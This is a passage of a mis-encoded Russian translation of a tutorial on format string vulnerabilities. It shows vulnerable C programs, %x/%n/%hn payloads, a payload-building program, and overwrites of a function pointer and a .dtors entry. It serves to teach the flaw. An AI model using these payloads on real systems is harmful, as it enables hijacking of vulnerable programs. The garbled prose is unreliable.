��� �������� �������� �� ��������� ������: English Deutsch Francais Nederlands Portugues Russian Turkce |
����� Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier �� ������: Christophe Blaess - ����������� ������� �� �����������. �� ���������� Linux � ������ ������� ����� ����� ������ �� ���� �������. �������� ������������ ��������� man �������, ����������� Linux Documentation Project. Christophe Grenier - ������� 5 ����� � ESIEA, ��� �� ����� �������� ����������. �������� ���������� ������������ �������������. Fr�d�ric Raynal ����� ��� ���������� Linux, ������ ��� �� �� ���������� ���������� �����, �� ���������� �� ������� �� MSG �� �������� �������� ����������������� �������� ... ������ ������� ���� � ��������. ����������:
|
������:
� ���������� �������, ���������, ���������� �� ����������, ���������� �� ������� ��������������, ������ ����������� ��� ����� ���������������. � ���� ������ ����������� ������ ������� ���������, � ����� �� �������, ��� ������� ��������� 6 ���� ����������, ����� �������� ������������ ���������.
����������� ����������� � ������������ ���������� ��-�� ������������ ������������ ��� ����. ��� ������� ����������� ��� ����� ��������������.
����� ���������� � ��������� ������������ ������, �������������� ������� ������ .
��� � ��������� - ��� ��� �� �����. ��������������� ���������� ����� ��������� �����������
������ ����� � ������. ������ ��� ����� ����� ��������� �
stdin (����������� ����)
, ������ � �.�. ���������� ����� ����������:
printf("%s", str);
������ ����������� ����� ������ ��������� ����� � ����� ����, ������� ������:
printf(str);
� "���������" �� ���, ���� ����������� ��������� ������������� ���� � ����� ������.
�� �������������� ��������� � �������� ��������� ����� ������, ������� ��
����� ������ ���������� ��� ���������. ������ ��� ������ ����� ����������� ��� ������
�������� �������������� (%d
, %g
...). ���� �������� ������
�������������� ������, ��������������� ��� �������� ������ � �����.
�� ������ � �������� � ��������� ������� printf()
. �� �������, ���
�������, ��� ������ ����� ��... �� �� �� ���� ������������, ������� �� ���������
� �������� ��������� �������� ���� �����������. ����� �� ������, ��� �������� �����������
����������, ����� ��������������� �������� �������. � � �����, �� �������, ���
��� ��� ���������� � ���� ������.
printf()
: ��� ���� ����������!������� ������ � ����, ���� ��� ���� ����� � ������������ �� ����������������: ����������� ������� �����/������ � �� ���������� �������������� ������ - ��� ������, ��� ���� �� ������ ������������� ������ ��� ������/������, �� ����� � ���������� ��� ��� ����� ����������. ��������� ��������� ���������� ���:
/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }�������� �� �� �������� :
>>gcc display.c -o display >>./display int : 64 97 char : @ a������
printf()
������� �������� ����� ���������� i
�
���������� ���������� a
, ��� �������� ���� int
(��� ��������
��� ������ %d
) - ��� �������� � ������ ASCII-�������� ����� �������.
� ������ �������, ������ printf()
��������� ����� �������� i
�
��������������� ��� ������� ASCII, � ������ - 64.
������ ������ - ��� ��������� ��� ������ �������, ��������� ������� ������
�� ������� printf()
:
const char
*format
), ������� ������������ ��� �������� ���������� �������;
����������� ������ �� ���������������� ��������������� �� ����, ������������
�������� ������ ��������� �������� (%g
, %h
, %x
,
������������� ������� ����� .
��� �������� ��������...).
������, ���� ��� ����, � ������� ������� �� ���������: %n
.
��� ��� ������� �������� man �� printf()
�� ����:
����� ��������, ���������� �� ����� �������, ����������� ��
������ ������ �����, ���������� ����������-���������� ���� int * (��� variant).
�������������� ���������� �� ����������.
|
����� - ����� ������ ���� � ���� ������: ������ �������� ��������� ����������� ������ � ���������� ���������, ���� ���� ��� ������������ � ������� ��� ������!
����� ��� ��� ����������, �������, ��� ������ ������ ����� ������������ � ��������
�������� scanf()
� syslog()
.
�� �������� �������� ������������� � ��������� ������� ������� ��� ������ ���������
��������. ������, printf1
, ������������� ����� ������� �������������:
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }
������ ����� printf()
������� ������
"0123456789
", ������� �������� 10 ��������. ��������� ������
%n
���������� ������ �������� � ����������
n
:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10������� ������� ������� ���� ��������� ������� ����������
printf()
������ 7 ��:
7: printf("buf=%s%n\n", buf, &n);
������ ����� ��������� ������������ ���� ����: ���������� n
������ ����� 14 (10 �������� �� ��������� ���������� buf
�����������
� 4 �������� ������-��������� "buf=
", ������������ � ����� ������
��������������).
����, �� �����, ��� ������ %n
������������ ������ ������, �������
���������� � ������ ��������������. ����� ����, ��� �� ���������������� ����������
printf2
, �� ������������ ��� ���-���:
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }�� ���������� ����� �������
snprintf()
, ����� �� ���������
������������ ������. ���������� n
������ ���� ����� 10:
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100�������? ����������, ������
%n
��������� ����������
��������, ������� ������ ���� ��������.
���� ������ ����������, ��� ��������� ��-�� �������� ������� ������ ������������.
��� ���������� �� ����� ����? ������ �������������� ��������� ����������� ����� ���, ��� ��� ��������� � ����� ���������� � ����� ����������:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
printf3
������� ���������� ��
printf2
:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)� ������ ���� ������� ��� ������ �������������. ��������� ���������� ��� ��������� �������
printf()
:
00000\0
";
x
� ����� �������. ������ ������ ��������
"01234\0
";
sizeof buf - 1
����2
�� ���� ������ ���������� � ������ ���������� buf
, ��� ���� ���
"0123\0
"GlibC
, ��������� � vfprintf()
� ����������
${GLIBC_HOME}/stdio-common
.
����� ��� ��� ��������� ��� �����, �������, ��� �������� �������� ��� �� ���������
��������� ������ �������������� ������� � ������ �����. �� ������������
������, ���������� �������� (����� '.'). ������ ���������� ���������� ��������������
�������� � ���� �� ����������: 0n
, ���
n
- ���������� ������, � 0
����������, ���
������ ������� ����� ��������� 0, ���� ��� ������ �� ����� ���������.
������, ����� �� ������ ����� ��� � ������� ��������������, � ����� ���������
� ������� %n
, �� ������ �� ���������.
printf()
��������� ��������� ����� ����� ����������� �� ���������� ����� ������� �
������� ��� ������ ����������� ����� � printf()
:
/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }������ ��������� ������ �������� �������� � ���������� ������
buffer
.
�� ��������� � ���, ����� �� ��������� ������������ ��������� ������ ������ (����� ��� ������
����� �������������� ����� ���������� ��� ������������ ������ ;-)
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)��� �������� ��� ��� �� � ������� :) ����� ��� ��� ����������, ���������, ��� ���������� � ����� ������ ����� ��� ������
snprintf()
� ������ 8.
���. 1 : ���� � ������ ����������
snprintf() |
������� 1
���������� ��������� ����� � ������, ����� ��������� ������� � �������
snprintf()
(�� ������, ��� ��� �� ��� ... ������ ��� ��� ����� �����
���� �� ���, ����� ���� ��� �������������, ��� ����������). ��� �� ��������� �������
%esp
. �� ���-�� ���� �������� %ebp
.
��� �� ������ � ���������� ������, ������ ��� ��������, ������������� �
%ebp
� %ebp+4
�������� ��������������� ��������� �����
��������� %ebp
� %eip
. ����� ���� ��������� �������
snprintf()
:
argv[1]
, ������� ����� ��������� �������
������.
tmp
, 64 �������
���������� buffer
� ����� ���������� i
.
������ argv[1]
������������ ������������ � ��� ������ ��������������
� ��� ������. �������� �������� ������� ������������ snprintf()
,
argv[1]
��������� ������ ������ ��������������. ��� ��� �� ������
������������ ������ �������������� ��� �������� ������� (������ �����), ��� ���������
:)
��� ����������, ���� argv[1]
����� �������� � ��������� ��������������?
������, snprintf()
�������������� �� ���, ����� ��� ���� ... � ��� �������,
������ ��� ����� ����� ���� �� �������!
�� �����, �� ������ ���������, ����� ��������� ����� ������������ � �������� ������ ���
�������������� �������� ������? ����������, snprintf()
�������� ������ ��
�����! �� ������ ������� ��� ��� ������ ����� ���������
stack
:
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
�������, ������ "123
" ���������� � buffer
. ���������
%x
������� snprintf()
��������� ������ �������� �
���������������� ���. �� ������� 1 �����,
��� ���� ������ �������� �� ��� ����, ��� ���������� tmp
, ������� ��������
������ \x01\x02\x03\x00
. ��� ������������ ��� ���������������� �����
0x00030201 � ������������ � ������ ��������� ������, ������� ������ � ����������� x86.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
���������� ������� %x
���� ����������� �������� ���� �� �����.
��������� ������� snprintf()
������ ��������� 4 ����� �����
���������� tmp
. ��� 4 ����� - ���������� 4 ������ ����� buffer
.
������, buffer
�������� ������ "123
", ��� �� ����� �������, ���
���������������� ����� 0x20333231 (0x20=������, 0x31='1'...).
�� ����, ��� ������� %x
, snprintf()
"�������" �� 4 �����
������ � buffer
(4 ������ ��� unsigned int
��������
4 ����� �� ���������� x86). ��� ���������� ��������� ��� ������� �����, ��� ���:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
�� ������ ���������� ����� �������� ������ � ������, ����� ���������� ��������
������� ��������� (��������, ��� ������ ���� � �������). �� ���������
������ m$
, ����� ����� %
, ��� m
-
����� > 0. �� ������ ������� ���������� � ������ ���������� (������� � 1), ������� ���������� ������������:
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
������, ������������ m$
, ���� ��� ����������� ����������� �� �����
�� �������, �� ������� �� �����, ��� �� ��� �� ����� ��� ������,
��������� gdb
:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
������ \
��������� �����, ��� ������ $
, �����
�������� �� ���������������� ��� ��-������.
� ������ ��� ������ �� ������� ���������� ���������� buf
.
� ������� %4\$x
�� �������� ����������� ������� %ebp
,
� ����� ��� ������ %5\$x
- ����������� ������� %eip
(���������
��� ����� ��������). ��������� 2 ����������, �������������� �����, ����������
�������� ���������� argc
� �����, ������������ � *argv
(�������, ��� **argv
- ��������, ��� *argv
- ������ �������).
������ ������ ����������, ��� ��������������� ������ ��������� ��� ���� �����
�� ����� � ������� ����������, ����� ��� ������������ �������� �������, �����...
������, �� ������ � ������ ���� ������, ��� �� ����� ����������� ������ ��� ������
�������, ���� printf()
: ����� ��� �� �������� ��� ���������� �������������
����������?
�������� � ��������� stack
:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [d�ћ000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664)�� ������ � �������� ������ �����:
i
;
%.496x
);
%n
), ������� ����������
������ �� ������� ������.
i
(����� 0xbffff664
),
�� ����� ��������� ��������� ������ � �������������� �������� ��������� ������.
��� �� ��������, i
����� ����� �������� :)
������ ������ �������������� � ����������� ����� ������ ����� snprintf()
�������� ��:
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, 4 first bytes in buffer);
������ ������ ����� (���������� ����� i
) ������������ � ������
buffer
. ������ %.496x
��������� ��� ��������� �� ����������
tmp
, ������� ����������� � ������ �����. �����, ����� ������� ���� ��
���������� %n
, �����, ������� ��� ����������, - ���� ����� ���������� i
,
������������� � ������ buffer
.
���� ��������� �������� ����� 496, snprintf ���������� �������� 60 ���� (�.�.
����� ������ - 64 � 4 ����� ��� ��������).
�������� 496 - ������������, ��� ������������ ������ ����� ��������
"������� ������". �� ������, ��� ������ %n
��������� ����������
����, ������� ������ ����� ��������. ��� �������� ����� 496, � �������� ��
��������� 4 ��-�� 4 ���� ������ i
� ������ buffer
.
������� � ��� ���������� 500 ����. ��� �������� ����� �������� � ��������� �����, �������������
� �����, ������� �������� ������� i
.
�� ����� ����� ������ � �������� ������� �������. ����� �������� i
,
��� ���� ���� ����� �� ����� ... ������ ������ ��������� ���� ������������� ���:
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
������ ���� ��������� ����������, ��� �� ����� ��������� ������ (�����) ��� �� �����:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
��� �� ������ ������, � ����������� �� ���������, �� ����� ������
cpt1
��� cpt2
. ������� %n
�����
�����, ��� ������ �� �� ����� �������� �������� � ����������� (��������
��������� %3$n (cpt2)
��� %4$n (cpt1)
), ������
����� ��� ������ ����� ���������. ��������� - "������������" � ���������
������������� ��� �����������.
egcs-2.91.66
� glibc-2.1.3-22
.
������, �� �������� �� �������� �� �� ���������� � ����� �������. ������� ��,
������� ���� *printf()
���������� � ������������ � ������� glibc
� ����������� ������ ������ ����� �� ��������� �� �� ����� ����������.
��������� stuff
������������ ��� ��������:
/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
������� aaa
� bbb
������������ ��� ����������� ��� �����
����������� �� �����. ������� �� �����, ��� ����� �������� 424242
,
���������� ������� ����� buffer
. �������
1
���������� �������� � ����������� �� ������ glibc � �����������.
������� 1 : �������� �� ��������� � glibc | ||
---|---|---|
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
����� � ���� ������ �� ��������� ������������ egcs-2.91.66
�
glibc-2.1.3-22
, �� �� �����������, ���� �������� �������
�� ����� ������.
����� �� ������������� ������������ ������ ��� �����, �� ������������ ����� ��� ���������� ������ �������� �������.
�� �������� ��������������, ��� �� ������, �� ����� ����� ���� ������
(����, ����, bss, .dtors, ...), ��� ���� ������ ������� ���� � ��� ��������, �
%n
������� ������ �� ���.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
�� ���������� ���������� � ������ ptrf
, ������� ��������� �� �������.
�� ������� �������� ����� ���������, ����� ��������� �������� ���� �������.
��-������, ��� ���� ������ �������� ����� ������� ��������� ������ � ����� ������� ���������� � �����:
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
������ ����� ����� ���� ��� ��, ��� ����: 3 ����� (���� ����� = 4 ������
��� ����������� x86) �������� ��� �� ������ ���������� buffer
.
������ ����� � ���������� AAAA%3\$x
������������ ���.
���� ���� ������ - �������� �������������� �������� ��������� ptrf
(0x8048634
, ����� ������� helloWorld()
) ���������
0x8048654
(����� accessForbidden()
).
��� ���� �������� 0x8048654
���� (134514260 ���� � ������������, ���-�� ����� 128��).
�� ������ �������� ����� ��������� ����� ������������� ������ ... ������ ���, ������� �� ���������� - ����� :)
��� ������ ����� 20 ������ �� ����������������
pentium 350 ���:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [��ћ000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
��� �� �������? �� ������ ������������ ����� ptrf (0xbffff5d4)
.
��������� ������ ��������� ����� �� ����� � ��������� 134514256 (�� ��� ��������
4 ����� - ����� ptrf
, ������� ��� ��� �������� �������� 134514260-4=134514256
����).
� � �����, �� ���������� ������ �������� �� ������� ������
(%3$n
).
������, ��� �� ���������, �� ������ �������� ������������ ������ �������� 128��.
������ %n
������� ��������� �� �����, �.�. ������ �����.
�������� �������� ����� ���������, ������ ��������� �� short
int
- ������ 2 ����� - ��������� ���������� %hn
.
��-�� ����� �� �������� �����, ������� ����� ��������, �� ��� �����.
���������� ������������ ������ ������� ���������� �� 0xffff
���� (65535 ����).
������� � ���������� ������� �� ������� �������� ������ "0x8048654
�� ������
0xbffff5d4
" �� ��� ��������� ��������:
0x8654
�� ������ 0xbffff5d4
0x0804
�� ������ 0xbffff5d4+2=0xbffff5d6
������, %n
(��� %hn
) ������������ ������ �����
���������� �������� � ������. ��� ����� ����� ������ �������������. �������,
�� ������ �������� ������� �������� �� ����. �����, ������ ��������������
����� ������������ ������ �������� ����� ��������� ������ � ������, ���������� ��� ��������.
�������� � ����� ������� ������ �������� �������������� ����� %.2052x
(2052 = 0x0804),
� ������ %.32336x
(32336 = 0x8654 - 0x0804).
������ %hn
, ������������ � ������ �������, ������� ������ ���������� ����.
��� �������� ������ ������� ����� %hn
, ���� ����������.
�������� m$
����� ��� � ���� �������. ���� �� �������� ������
� ������ ��������� ������, �� ��� ���� ����� ������ ����� ����� �� ����� �
����� �������� �� ������ ������, ��������� ������ m$
. ����� ���
������ ����� �� ��������� m
� m+1
. ��� ��� �� ����������
8 ���� ������ ��� ���������� ������ ����������, �� ������ ������������ �������� ������ ����
��������� �� 8.
���� ������ �������������� �������� ��������� �������:
"[�����][�����+2]%.[���. ����. - 8]x%[����.]$hn%.[����. ����. - ���.
����.]x%[����.+1]$hn"
��������� build
���������� ��� ���������, ��� �������� ������
��������������:
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** 4 �����, ���� �� ������ ��������, ����������� ��������� ��������: HH HH LL LL ����������, ��������������� "*h", ��������� � ������� ����� ����� (H). ����������, ��������������� "*l", ��������� � ������� ����� ����� (L). */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* ������ ��������� ��������� ����� ... :*/ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* ���������� �������� */ valh = (value >> 16) & 0xffff; //������� ����� vall = value & 0xffff; //������� fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* ��������� ������ */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* ������ */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* ������� ����� */ "%c%c%c%c" /* ������ ����� */ "%%.%hdx" /* ��������� �������� ��� ������� %hn */ "%%%d$hn" /* %hn ��� ������� ����� */ "%%.%hdx" /* ��������� �������� ��� ������� %hn */ "%%%d$hn" /* %hn ��� ������ ����� */ , b3+2, b2, b1, b0, /* ������� ����� */ b3, b2, b1, b0, /* ������ ����� */ valh-8, /* ��������� �������� ��� ������� %hn */ where, /* %hn ��� ������� ����� */ vall-valh, /* ��������� �������� ��� ������� %hn */ where+1 /* %hn ��� ������ ����� */ ); } else { snprintf(buf, length, "%c%c%c%c" /* ������� ����� */ "%c%c%c%c" /* ������ ����� */ "%%.%hdx" /* ��������� �������� ��� ������� %hn */ "%%%d$hn" /* %hn ��� ������� ����� */ "%%.%hdx" /* ��������� �������� ��� ������� %hn */ "%%%d$hn" /* %hn ��� ������ ����� */ , b3+2, b2, b1, b0, /* ������� ����� */ b3, b2, b1, b0, /* ������ ����� */ vall-8, /* ��������� �������� ��� ������� %hn */ where+1, /* %hn ��� ������� ����� */ valh-vall, /* ��������� �������� ��� ������� %hn */ where /* %hn ��� ������ ����� */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* ����� */ strtoul(argv[2], NULL, 16), /* �������� */ atoi(argv[3])); /* �������� */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
������� ���������� ������� �� ����, ������ ������������ �������� ��������� � ������� ��� ������� ����� �����. ��������� ��� �� ������� ������ ��� ������ ������� � �������.
��-������, ��� ������� ������ ��������� ������� ��������:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
��� ������ ���� � �� ��: 3. ��� ��� ���� ��������� ��������, ��� ����������,
�� ����� ����� ���������� ����������� ����������: ������ ptrf
� accesForbidden()
. �� ������ ��� ����� � ������������ � ����:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [��ћ��ћ%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [��ћ��ћ00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"������ �� ���������! �� ����� ����, ��� ��� �� ������������ ����� �������, ��� � ���������� ������� � ������ ��������������, ���� ���������.
ptrf
�������������
�� 0xbffff5d4
� 0xbffff5b4
. ���������� �����������������
���� ��������:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [�ћ?�ћ%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [�ћ?�ћ0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"�� ��������!!!
�� ������, ��� ������ � ������� ��������� ��� ����������� ������ ���� ������.
����, �� ������ ������ ������������� ���� ����, ���������� �� ������ .dtors
.
���� ��������� �������������� ��� ������ gcc
, �� ������ ����� � ���
������ ������������ (���������� .ctors
) � ����������� (����������
.dtors
). ������ �� ���� ������ �������� ��������� �� ������� ��� ����������
����� ������ � ������� main()
� ����� ������ �� ��� ��������������.
/* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); }���� ��������� ��������� ���������� ���� ��������:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()������ �� ���� ������ ��������� ���������:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............�� ���������, ��� ��������� ������ ������������� ����� �������� (��������: ���������� �������
objdump
������ ������ � ������ ������� ������):
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 end����, ��� ������ �������� ������ ������� ��� ���������� � ������ (��� � �����), ����������� �����
0xffffffff
� 0x00000000
.
������� �������� ��� � vuln
� �������������� ������ �������.
�������, �� ������ �������� ������������ � ������ ���� ������, ��� ��-����������
������, ���� � ��� ��� ����� ���� �������� ��� ��������� ;-)
������ ���������� objdump
, ��� ������ �����:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........��� ���! ������ �� ����� ���, ��� ��� ����.
���� ��������� - �������� ����� ������� � ����� �� ���� ������ �� ����� �������,
������� ����� ���������.
���� ��� ������ ������, �� ������ ������ ������������ 0x00000000
, �������
��������� �� ����� ������. ��� ������� ��������� ����������� (segmentation fault)
,
��� ��� ��������� �� ������ 0x00000000
� ������ ��������� ��������, ��� �����
�������, ���, ��������, �������.
����������, ������������ ������������ ��� ������ - ������ �����������
(.dtors
): � ��� ��� ������� ������ ���-���� ����� ������� ������������
(.ctors
).
������ ���������� ������������ �����, ������������� �� 4 ����� ������ �� ������ ������
(0xffffffff
):
0x00000000
;
�������� � ������ �������. �� �������� 0x00000000
� ������
.dtors
, ������������� �� ������ 0x8049848=0x8049844+4
,
�� ����� ������� accesForbidden()
, ��� ���������
(0x8048664
):
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)��� �������� �������,
main()
helloWorld()
� ����� �����.
����� ���������� ����������. ������ .dtors
���������� � ������
accesForbidden()
. �����, ��� ��� ��� ������� ��������������� ������,
���������� ��������� ���� ������.
�� ������ ����� ������� ���������. ��������� ��� �� �������, �� �����
�������� ��������, ��������� ������� ��� ����� argv[]
���
���������� ��������� �������� ���������.
�� ������ ������ ���������� ���������� ����� (�.�. ����� ������ ��������)
� ������ .dtors
.
� ������ ������ �� �����:
������, � �������� �����, �������� ��������� �� ��������� ������, ��� � �������. �� ���������� �����, ������� ��������� ��� ��������� ������� � ������ � �������� ��� ������ ����� (��� ������: ������ �� ����� NOP-� � ������ ��������).
���� �������� �� ����������� ������� �������
exec*()
:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }������� ������ - �����
nb
, ��������� ����� ���������� �������� ����
nb+1
���:
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
